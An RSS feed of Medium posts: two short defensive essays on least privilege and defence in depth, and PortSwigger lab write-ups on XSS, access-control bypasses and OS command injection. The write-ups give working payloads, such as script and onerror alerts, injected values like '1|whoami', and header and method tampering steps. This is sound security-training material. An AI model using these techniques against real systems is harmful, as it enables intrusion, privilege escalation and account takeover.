<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Thisisnazrinbayramova on Medium]]></title>
        <description><![CDATA[Stories by Thisisnazrinbayramova on Medium]]></description>
        <link>https://medium.com/@thisisnazrinbayramova?source=rss-0e55612557aa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*9MidDdkpUnesjTSi</url>
            <title>Stories by Thisisnazrinbayramova on Medium</title>
            <link>https://medium.com/@thisisnazrinbayramova?source=rss-0e55612557aa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:45:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thisisnazrinbayramova/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Principle of Least Privilege: A Cornerstone of Cybersecurity]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/the-principle-of-least-privilege-a-cornerstone-of-cybersecurity-96641ee68c99?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/96641ee68c99</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 13:10:42 GMT</pubDate>
            <atom:updated>2026-02-18T13:10:42.292Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why It Matters: The High Cost of Excessive Privileges</h3><p>The importance of PoLP cannot be overstated. When entities possess excessive privileges, they become attractive targets for attackers, and a successful compromise can have catastrophic consequences. Consider these scenarios:</p><ul><li><strong>Data Breaches:</strong> A classic example involves a compromised user account with administrative access to sensitive databases. If this account had only the necessary read-only access for its routine tasks, a breach would have been significantly contained, or even prevented entirely. Instead, excessive privileges allow attackers to exfiltrate or manipulate vast amounts of confidential data.</li><li><strong>Malware Propagation:</strong> When malware infects a system with elevated privileges, it can spread rapidly across the network, infecting other systems, disrupting operations, and encrypting critical data in ransomware attacks. A system operating with least privilege would significantly limit the malware’s ability to propagate and escalate its impact.</li><li><strong>Insider Threats:</strong> Even unintentional errors by employees with excessive access can lead to significant data loss or system misconfigurations. Malicious insiders, on the other hand, can leverage unnecessary privileges to bypass security controls and cause extensive damage, highlighting the importance of limiting their potential reach.</li></ul><p>These examples underscore a crucial truth: every unnecessary privilege granted is an open door for potential exploitation.</p><h3>Application in Real-world IT Environments</h3><p>Implementing PoLP requires a comprehensive approach across various IT domains:</p><ul><li><strong>Operating Systems:</strong> Users should operate with standard user accounts for daily tasks, escalating privileges only when absolutely necessary for administrative functions. This limits the impact of malware or accidental system changes.</li><li><strong>Databases:</strong> Access to databases should be granular, with specific permissions granted for reading, writing, updating, or deleting data based on individual roles and responsibilities.</li><li><strong>Network Devices:</strong> Network administrators should use separate, less privileged accounts for routine monitoring and management, reserving highly privileged accounts for critical configuration changes, often with multi-factor authentication.</li><li><strong>Cloud Environments:</strong> In the dynamic world of cloud computing, PoLP is paramount. Identity and Access Management (IAM) policies in platforms like AWS, Azure, and GCP must be meticulously crafted to ensure that virtual machines, serverless functions, and storage buckets only have the permissions they explicitly need. Over-permissioning in the cloud can quickly lead to widespread vulnerabilities.</li></ul><h3>Challenges and Solutions in Implementing PoLP</h3><p>While the benefits are clear, implementing PoLP can present challenges:</p><ul><li><strong>Complexity:</strong> Modern IT environments are vast and intricate, making it difficult to precisely define and manage privileges for every entity.</li><li><strong>User Friction:</strong> Restricting access can sometimes lead to user complaints about hindered productivity, especially if not implemented thoughtfully with proper communication.</li><li><strong>Legacy Systems:</strong> Older systems may not have the granular access controls necessary for effective PoLP implementation, requiring workarounds or modernization efforts.</li><li><strong>Dynamic Environments:</strong> In DevOps and agile environments, roles and access needs change rapidly, making it challenging to keep privilege assignments up-to-date.</li></ul><p>To overcome these obstacles, organizations can leverage solutions such as:</p><ul><li><strong>Privileged Access Management (PAM) Tools:</strong> These solutions centralize the management, monitoring, and auditing of privileged accounts. They can automatically rotate passwords, provide just-in-time access, and record sessions for accountability, significantly streamlining PoLP enforcement.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojyawpTGPJRdrerdPBegyw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96641ee68c99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Defence in Depth]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/defence-in-depth-825be3a66210?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/825be3a66210</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Wed, 18 Feb 2026 12:59:27 GMT</pubDate>
            <atom:updated>2026-02-18T12:59:27.033Z</atom:updated>
            <content:encoded><![CDATA[<p>In an era where digital threats loom larger than ever, the phrase “Defense in Depth” might sound like another piece of cybersecurity jargon. But for any technology-driven company, it’s far more than a buzzword; it’s the foundational philosophy that can mean the difference between robust protection and catastrophic breaches. Welcome to the first installment of our series on fundamental security principles, where we peel back the layers of what truly keeps your digital assets safe.</p><p><strong>The Genesis of Layered Protection</strong></p><p>The concept of Defense in Depth isn’t new, nor did it originate in the digital realm. Its roots are firmly planted in military strategy, dating back to ancient fortifications designed with multiple barriers — moats, walls, towers, and inner keeps. The idea was simple yet profound: if one defense failed, another would be there to impede the aggressor, buying time, increasing the cost of attack, and ultimately, preserving the stronghold.</p><p>Fast forward to the age of computers, and this ancient wisdom found a new battlefield: cyberspace. As networks grew more complex and threats more sophisticated, security experts realized that relying on a single point of defense, like a strong perimeter firewall, was akin to building a castle with only one wall. A breach in that single defense would leave everything vulnerable. Thus, Defense in Depth evolved into a pivotal cybersecurity concept, advocating for a layered and multi-faceted approach to security.</p><p><strong>Deconstructing Layered Security</strong></p><p>At its core, Defense in Depth is about creating a series of interlocking security mechanisms that protect information and systems. Think of it like an onion, with each layer providing protection, or a vault with multiple locks. If an attacker manages to bypass one layer, they are immediately met with another.</p><p>Let’s break down these layers:</p><ul><li><strong>Physical Security:</strong> This is often the most overlooked but crucial layer. It involves protecting the physical premises and hardware that house your data. Examples include locked server rooms, surveillance cameras, access control systems (keycards, biometrics), and even security guards. If an attacker can physically access your servers, all your digital defenses can be circumvented.</li><li><strong>Technical Security:</strong> This is where most people’s minds go when they think of cybersecurity. It encompasses the hardware and software solutions designed to protect your network and systems.</li><li><strong>Network Security:</strong> Firewalls, intrusion detection/prevention systems (IDS/IPS), virtual private networks (VPNs), and network segmentation.</li><li><strong>Application Security:</strong> Secure coding practices, web application firewalls (WAFs), and regular security testing of applications.</li><li><strong>Endpoint Security:</strong> Antivirus software, endpoint detection and response (EDR) solutions, and device encryption on laptops, desktops, and mobile devices.</li><li><strong>Data Security:</strong> Encryption of data at rest and in transit, data loss prevention (DLP) tools, and robust backup and recovery strategies.</li><li><strong>Administrative Security (The Human Element):</strong> Technology alone isn’t enough. This layer focuses on policies, procedures, and the education of your workforce.</li><li><strong>Security Policies:</strong> Clear guidelines for data handling, access control, and incident response.</li><li><strong>Employee Training:</strong> Regular cybersecurity awareness training to prevent phishing attacks, social engineering, and other human-centric vulnerabilities.</li><li><strong>Access Management:</strong> Principle of least privilege, multi-factor authentication (MFA), and regular reviews of user access rights.</li></ul><p>Here’s a visual representation of how these layers might stack up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-ciNYC9FjQe2Jpom0YhSA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=825be3a66210" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS PORTSWIGGER]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/xss-portswigger-21470044c86d?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/21470044c86d</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Fri, 25 Apr 2025 18:06:18 GMT</pubDate>
            <atom:updated>2025-04-25T18:06:18.113Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Reflected XSS into HTML context with nothing encoded</h3><p>Inject &lt;script&gt;alert(&#39;ehehe&#39;)&lt;/script&gt; via search box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTLPS-FOTYkMYvdujI_ZjQ.png" /></figure><h3>Lab: Stored XSS into HTML context with nothing encoded</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LU18MzSLamlzltnDJeeANw.png" /></figure><p>Inject this payload &lt;script&gt;alert(‘hacked’)&lt;/script&gt; to the comment section.</p><h3>Lab: DOM XSS in document.write sink using source location.search</h3><p>Firstly try random string into the search bar and inspect element.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20b3KeFRtbS4uuN9Paz91w.png" /></figure><p>User input is inserted into an HTML attribute:<br>&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=INPUT&quot;&gt;</p><p><strong>Payload:</strong> &quot;&gt;&lt;script&gt;alert(&#39;hacked&#39;)&lt;/script&gt;</p><p><strong>Why it works: </strong>&quot;&gt; closes the attribute and &lt;img&gt; tag, the &lt;script&gt; executes JavaScript. Result will be&lt;img src=&quot;&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQfRr-tOeB3AxB5SU_rX9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmVuBuNRBaUHhBwpT5KvEA.png" /></figure><h3>Lab: DOM XSS in document.write sink using source location.search inside a select element</h3><p>We identified a client-side JavaScript vulnerability where the application uses location.search to read URL parameters (e.g., ?string). By appending &amp;storeID=bubba to the URL, we observed the value &quot;bubba&quot; dynamically added to a &lt;select&gt; field. To test for DOM XSS, we attempted to escape the &lt;select&gt; tag by injecting &quot;&gt;&lt;/select&gt;&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;. If successful, this payload would close the &lt;select&gt; element and execute arbitrary JavaScript. This confirms improper sanitization of location.search input when rendered in the DOM, enabling potential XSS attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIuDWeHtWz9eQkNRheNYtA.png" /></figure><p>We append to the search bar &amp;storeID=bubba. I will add bubba option to the option field. So, we can change it. I need to escape from select tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLDzrtDKH-uQWOL-bNZ5Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcVSOlZ3f173Lg4_NX4Vmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*68gaI9vRjQpGCef0H1yRiQ.png" /></figure><h3>Lab: DOM XSS in innerHTML sink using source location.search</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcksx1WRZzeHVNh88gaHIg.png" /></figure><p>&lt;img src=1 onerror=alert(&#39;xss&#39;)&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lSkgNezt4iUSTYqrhH_H_Q.png" /></figure><h3>Lab: DOM XSS in jQuery anchor href attribute sink using location.search source</h3><p>I added string after the / and inspect to find my string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2WKJ8AFi26LiDz4xdxjsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SuHvqwKm7Ag_k6r8HhQj-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MTCaW-HUkF4UmcHV1eHPQ.png" /></figure><h3>Lab: DOM XSS in jQuery selector sink using a hashchange event</h3><p>This is the vulnerable code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Nd1RWWyvpV86qu7JheGPg.png" /></figure><p>We clicked ‘go to exploit server’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NYncsR81ULZNpYif3PONw.png" /></figure><p>Then, deliver exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1XHCLZGPLLaIXzqG0RNy7A.png" /></figure><h3>Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded</h3><p>Firstly, I searched random string in the search bar. Our exploit AngularJS expression is {{$on.constructor(&#39;alert(1)&#39;)()}}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*93XUmd5tCr0MyZeRn2LnUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQajiPs0KullpdobRhVzvA.png" /></figure><h3>Lab: Reflected DOM XSS</h3><p>Switch Burp Suite Intruder mode ON.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJmlXfvVdC1JvZQNRtqkeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDPY-U9V3st3fXHnBfy_7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv9h0UuqgAKH_jfLom2sCg.png" /></figure><p>my payload is: \&quot;-alert(1)}//</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qyID6MHfRbGNpq6AnZbmeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z1atMGl0fXEDV-ZGzB07lw.png" /></figure><h3>Lab: Stored DOM XSS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15h0zHQrbKXTQ-RaAUqMWg.png" /></figure><p>click back to blog</p><p>This lab has a stored DOM XSS vulnerability in the blog comments. The website tries to block XSS by converting angle brackets (&lt; and &gt;) into HTML entities, but it only does this for the first bracket it finds due to using a simple replace() function. To bypass this weak protection, we post a comment with an extra set of brackets at the start: &lt;&gt;&lt;img src=1 onerror=alert(1)&gt;. The first &lt; and &gt; get safely converted, but the ones before the &lt;img&gt; tag remain unchanged. When someone views this comment, their browser sees the unmodified &lt;img&gt; tag and executes the onerror JavaScript when the image fails to load, showing our alert box. The key trick is adding those extra brackets at the beginning to fool the incomplete filter while keeping our real attack code intact. This works because the filter only checks once, not for every dangerous character in the input. To properly fix this, developers should replace all brackets, not just the first ones found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12IWSZ0ukvOonzfg6-Sybg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21470044c86d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Access control vulnerabilities — PortSwigger]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/access-control-vulnerabilities-1794f849066f?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/1794f849066f</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 15:06:38 GMT</pubDate>
            <atom:updated>2025-04-14T15:07:04.842Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Unprotected admin functionality</h3><p><strong>Summary:</strong><br> This lab had an unprotected admin panel accessible through a hidden path.</p><p><strong>Steps to Solve:</strong></p><ol><li>Visited /robots.txt to discover hidden paths.</li><li>Found Disallow: /administrator-panel, revealing the admin panel location.</li><li>Navigated to /administrator-panel.</li><li>Deleted the user <strong>carlos</strong> to solve the lab.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgLaDZTjIBbPPKzrW_3wXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6surHLsJSqHdHYbLnZ8mQ.png" /></figure><h3>Lab: Unprotected admin functionality with unpredictable URL</h3><p><strong>Summary:</strong><br> The admin panel was not protected and its location was hidden in the page source.</p><p><strong>Steps to Solve:</strong></p><ol><li>Viewed the lab’s home page source using Burp Suite or browser developer tools.</li><li>Found a JavaScript snippet revealing the hidden admin panel URL.</li><li>Navigated to the admin panel.</li><li>Deleted the user <strong>carlos</strong> to solve the lab.</li></ol><p><strong>Note:</strong><br> Always check the source code and scripts — sensitive URLs can sometimes be exposed there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TD-z1b5LUC5Wh9M5q1eqrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esg2l_dqX8Fl3qgEQOQexw.png" /></figure><h3>Lab: User role controlled by request parameter</h3><p><strong>Summary:</strong><br> The admin panel used a cookie (Admin=false) to control access, which could be forged.</p><p><strong>Steps to Solve:</strong></p><ol><li>Logged in with wiener:peter.</li><li>Used Burp Suite with response interception enabled.</li><li>Intercepted the login response and changed Admin=false to Admin=true.</li><li>Visited /admin and gained access to the admin panel.</li><li>Deleted the user <strong>carlos</strong> to solve the lab.</li></ol><p><strong>Note:</strong><br> Never trust user-modifiable data like cookies for sensitive access control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rA9P1UrkriB28IEOP9K_oQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*omijMOJrwlb8MlO792oSpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1_su2skwkpfhfpI4Bk20g.png" /></figure><p><strong>Summary:</strong><br> The lab has an admin panel at /admin, only accessible to users with roleid = 2. Our user has roleid = 1 by default.</p><p><strong>Steps to Solve:</strong></p><ol><li>Log in as user wiener:peter.</li><li>Go to the account page and update your email.</li><li>Intercept this request in <strong>Burp Repeater</strong>.</li><li>Modify the JSON to include:{ &quot;email&quot;: &quot;your_email@example.com&quot;, &quot;roleid&quot;: 2 }</li><li>Resend the request and confirm that your roleid is now 2.</li><li>Access /admin and delete the user <strong>carlos</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OdPQ3oyKLBM-XcaqEdA1cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dg67vXk0WBLiyRqixnPD-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RCGOo9JqMQorGbpVUjZXkg.png" /></figure><p><strong>Description:</strong><br> The application uses a front-end system to block direct access to the /admin page. However, the back-end framework respects the X-Original-URL HTTP header, allowing bypass of access controls.</p><p><strong>Steps to Exploit:</strong></p><ol><li>Tried to access /admin but was blocked.</li><li>Sent the request to Burp Repeater.</li><li>Changed the request path to / and added header:X-Original-URL: /admin</li><li>Now able to access the admin panel.</li><li>To delete the user carlos, changed: Header: X-Original-URL: /admin/delete URL: /?username=carlos</li></ol><p><strong>Impact:</strong><br> By manipulating the X-Original-URL header, attackers can bypass access restrictions and perform admin actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4ErpNCbVpG1trfbMvZvBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-Udx8upefAhTpbIjZPiNQ.png" /></figure><ol><li><strong>Admin Request Capture</strong>:</li></ol><ul><li>By promoting carlos as admin first, you confirm the endpoint (/admin/role-promotion) and its structure.</li><li>This gives you the exact request format to modify later.</li></ul><p><strong>2. Cookie Swap</strong>:</p><ul><li>Replacing the admin cookie with wiener&#39;s cookie proves:</li><li>The endpoint <strong>does check permissions</strong> (fails with 401 Unauthorized for POST).</li><li>But the check is <strong>only applied to </strong>POST<strong> requests</strong>.</li></ul><p><strong>3. Method Tampering</strong>:</p><ul><li>Changing POST → GET bypasses the check because:</li><li>The server <strong>forgot to validate </strong>GET<strong> requests</strong>.</li><li>This is the <strong>core vulnerability</strong> in the lab.</li></ul><p><strong>4. Self-Promotion</strong>:Changing username=carlos → username=wiener ensures <strong>you</strong> get promoted (not Carlos).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWhZXm8kByxlR5KPOtjE6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IHqoV-AwwkxNEpJCgE0jXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PN5cTWCcmIf8RsNejw11MA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fJ3QMqt3DS5dEAkFaWa9qA.png" /></figure><p>note:when you do not know endpoint, or not given like in this lab. You need guess endpoint. Use tools like Burp Scanner, directory brute-forcing (gobuster), or inspect front-end JavaScript. One of my confusion about this lab was “<em>If I have the admin’s cookie/request, I can just use it to promote myself!” </em>But reality is admin sessions expire quickly, the stolen request might only work once, and you need a sustainable exploit to keep your privileges.</p><h4>Why This Technique Matters in Real Hacking:</h4><p><strong>You’re not always handed an admin request:</strong></p><ul><li>Hackers often <strong>guess/discover endpoints</strong> (e.g., /admin/delete, /promote-user).</li><li>They then <strong>tamper with methods</strong> (POST → GET, PUT → PATCH) to bypass checks.</li></ul><p><strong>Session-dependent exploits are unreliable.</strong></p><ul><li>Stealing cookies is risky (they expire, IP checks, etc.).</li><li>Method-based bypasses <strong>work even after sessions reset</strong></li></ul><p>Real-World Examples:</p><ul><li><strong>Twitter (2022)</strong>: GET requests bypassed CSRF checks for account actions.</li><li><strong>GitLab (CVE-2022–2992)</strong>: PUT requests allowed privilege escalation</li></ul><h3>Lab: User ID controlled by request parameter</h3><ol><li><strong>Login</strong> as wiener:peter</li><li><strong>Change URL</strong> from:<br>/account?id=wiener<br>to:<br>/account?id=carlos</li><li><strong>Copy</strong> Carlos’s API key from the page</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwTetdi0WOcP6TuY6AhbNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*FuzP6YVzJGOluZOpsEWBZg.jpeg" /><figcaption>fav lab</figcaption></figure><h3>Lab: User ID controlled by request parameter, with unpredictable user IDs</h3><ol><li><strong>Log in</strong> → wiener:peter</li><li><strong>Find Carlos’ GUID</strong> → Check his blog post URL</li><li><strong>Go to your account</strong></li><li><strong>Replace your GUID</strong> with Carlos’</li><li><strong>Copy his API key</strong> → Submit to solve!</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2YV-MAjHBmpWExTiY6LEBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHBz7VpXg8RhO418g2-vDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aY7zlORSJcLXjVqBrG42w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZPdAWC2TVG2ZgT8-sWbXg.png" /></figure><h3>Lab: User ID controlled by request parameter with data leakage in redirect</h3><ol><li><strong>Login</strong> → wiener:peter</li><li><strong>In Burp Repeater</strong>: Change /account?id=wiener → /account?id=carlos</li><li><strong>Check response body</strong> → Carlos’ API key is there!</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vdVRZX6ikDljwEIn4EKwg.png" /></figure><h3>Lab: User ID controlled by request parameter with password disclosure</h3><ol><li><strong>Login</strong> → wiener:peter</li><li><strong>Change URL</strong> → /account?id=administrator</li><li><strong>Find password</strong> → Log in as admin → Delete Carlos</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C5VUQdFBrdSjRmxVywx_Jg.png" /></figure><h3>Lab: Insecure direct object references</h3><ol><li><strong>Send chat message</strong> → View transcript</li><li><strong>Change URL</strong> → .../1.txt</li><li><strong>Find Carlos’ password</strong> → Login as him</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hm5IULHKlOoL7wn8waYmMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-mvD2uc9m7WTYHPTwQPEQ.png" /></figure><h3>Lab: Multi-step process with no access control on one step</h3><ol><li><strong>Login as admin</strong> → administrator:admin → Promote carlos → <strong>Capture request</strong> in Burp</li><li><strong>Login as wiener</strong> → wiener:peter → Copy <strong>wiener&#39;s cookie</strong></li><li><strong>In Burp</strong>:</li></ol><ul><li>Paste wiener’s cookie</li><li>Change username=carlos → username=wiener → <strong>Resend</strong></li></ul><p>note: For accurate testing(your mental health), always sort requests in Burp’s History by <strong><em>time</em> </strong>to ensure you’re using the correct session tokens. Using outdated sessions may lead to false results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDM1EL8gWZA-kfeR8LwpYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7jqWguMJ5fb1qlYZeq81g.png" /></figure><h3>Lab: Referer-based access control</h3><ol><li><strong>Login as admin</strong> → administrator:admin</li><li><strong>Go to admin panel</strong> → Promote carlos → <strong>Capture request</strong> in Burp Repeater</li><li><strong>Login as wiener</strong> → wiener:peter → Copy <strong>wiener&#39;s cookie</strong></li><li><strong>In Burp Repeater</strong>:</li></ol><ul><li>Paste wiener’s cookie</li><li>Change username=carlos → username=wiener → <strong>Resend</strong></li></ul><p>The logic is: in a party there’s a backdoor guardian and a frontdoor guardian. The frontdoor guardian is a hardworking good guy — he checks everyone’s ID. However, the backdoor guardian is a bad guy; when people say they come from the frontdoor (Referer), he believes them. What if someone comes through the window and says ‘I came from the front door’?!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bNCJ6ugi2OJ2tjiLEfjpUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBfV36sj0FCHwzknAYpLXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*61wCPIG25j1tSm93rq7J0w.jpeg" /><figcaption>the end</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1794f849066f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS command injection — PortSwigger]]></title>
            <link>https://medium.com/@thisisnazrinbayramova/os-command-injection-portswigger-64f35fb7dd1d?source=rss-0e55612557aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/64f35fb7dd1d</guid>
            <dc:creator><![CDATA[Thisisnazrinbayramova]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 08:00:21 GMT</pubDate>
            <atom:updated>2025-04-14T08:00:21.780Z</atom:updated>
            <content:encoded><![CDATA[<h3>OS command injection — PortSwigger</h3><h4>Lab: OS command injection, simple case</h4><p>Vulnerability Overview: The application has an OS command injection vulnerability in the <strong>stock checker</strong> functionality. It allows user input (product ID and store ID) to be passed directly into a system shell command without proper sanitization or input validation. This creates an opportunity for an attacker to inject arbitrary system commands.</p><p>Exploitation Steps:</p><ol><li>Opened Burp Suite and intercepted the stock check request.</li><li>Found the storeId parameter in the request.</li><li>Changed its value to 1|whoami.</li><li>Forwarded the request to the server.</li><li>The response showed the output of whoami, confirming the OS command injection.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSS-KwF9-qNe1g634-UdVA.png" /></figure><h3>Lab: Blind OS command injection with time delays</h3><h4>Summary:</h4><p>This lab had a blind OS command injection vulnerability in the feedback form. The output of the command wasn’t shown, so a time delay was used to confirm the injection.</p><h4>Steps Taken:</h4><ol><li>Used Burp Suite to intercept the feedback form request.</li><li>Found the email parameter.</li><li>Changed it to:email=x||ping+-c+10+127.0.0.1||</li><li>Forwarded the request.</li><li>The server took around 10 seconds to respond, confirming the command was executed.</li></ol><h4>Conclusion:</h4><p>The lab was successfully solved by using a ping delay to exploit the blind OS command injection in the email field. First, I tried injecting the command in the name field, but it didn’t work. The injection only worked in the email field because it was used in a vulnerable system command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epuaMl3KGAt_A7BHdVi86g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7prxUZ57Dpn9xcVwuGYLqQ.png" /></figure><h3>Lab: Blind OS command injection with output redirection</h3><h4>Summary:</h4><p>The lab had a blind OS command injection vulnerability in the feedback form. Although the output wasn’t shown directly, it was possible to redirect it to a file in a public folder.</p><h4>Steps:</h4><ul><li>Used Burp Suite to intercept the feedback submission.</li><li>Injected this into the email parameter:</li><li>email=||whoami&gt;/var/www/images/whoami.txt||</li><li>Then intercepted the image loading request and changed the filename parameter to:filename=whoami.txt</li><li>The response showed the output of whoami, confirming the command was executed.</li></ul><h4>Conclusion:</h4><p>By redirecting the command output to a file in the public images folder, the blind OS injection was successfully exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ok5jNbvPH04z9vnga52IIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVZfs20bg51BpZseSXt9Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D4UxSU-qlZvJQIY4-qf-hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayEsM-9EzCjAb8N2Fiz7ew.png" /></figure><h4>Note:</h4><p>In Burp Repeater, first select your injection payload (like “||whoami||”), then press Ctrl+U to URL-encode it. This converts special characters, space into a web-safe format, ensuring your payload reaches the server correctly. While some servers accept raw special characters,encoding helps avoid interpretation errors and bypasses simple security filters.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64f35fb7dd1d" width="1" height="1" alt="">]]></content:encoded>
